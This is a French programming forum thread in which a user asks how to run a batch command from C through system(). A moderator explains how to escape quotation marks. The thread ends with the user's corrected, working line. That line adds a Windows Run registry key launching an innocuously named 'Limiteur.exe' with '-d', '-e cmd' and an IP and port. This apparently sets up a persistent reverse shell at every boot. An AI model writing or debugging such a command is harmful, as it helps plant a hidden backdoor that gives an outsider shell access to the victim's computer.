Conversion batch [Résolu]

Signaler
-
 CatZard -
Bonjour,
je cherche à simplifier un de mes programmes qui normalement se trouve d'un .exe (en c) et d'un .bat ducoup j'ai mis les commandes du batch dans des system()
le probleme c'est que tous marche sauf cette ligne
system("reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d ""C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd""");


alors que j'ai bien le bon header pour cette fonction <windows.h>
le code se compile correctement mais quand je lance le .exe j'ai "erreur syntaxe"

ps; je precise que je n'ai pas l'habitude d'utilliser les fonctions de windows.h et que apare dedouble les anti slash pour pas que soit caracterisser comme des caractere speciaux (dans le genre de \n dans printf) je ne sait pas quoi faire d'autre

merci de vos reponse

4 réponses

Messages postés
3809
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
22 avril 2020
105
Bonjour.

Je connais mal le dév sous Windows, mais ne faudrait-il pas échaper aussi les guillemets internes à ta commande ?
comme sa?
system(" reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d ""C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd "" ");
le probleme reste le meme :/
merci quand meme
Messages postés
3809
Date d'inscription
dimanche 12 décembre 2004
Statut
Modérateur
Dernière intervention
22 avril 2020
105
Il me semble qu'un guillemet s'échape aussi avec un \.
En tout cas, en C ou C++, on échape les " avec des \. Les guillemets en double se concaténant à la compilation.

Ex:
printf("toto" "titi"); équivaut à: printf("tototiti");
printf("""toto titi"""); équivaut à: printf("toto titi");
il faudrait donc faire: printf("\"toto titi\"");

PS: sa => ça
cela me donne donc:
system("\"reg ADD HKLM\\SOFTWARE\\Microsoft\\windows\\currentversion\\run /v Limiteur.exe /d \"C:\\Program Files (x86)\\Ges. co\\Limiteur.exe -d 123.123.123.123 1234 -e cmd\"");
et ça marche
merci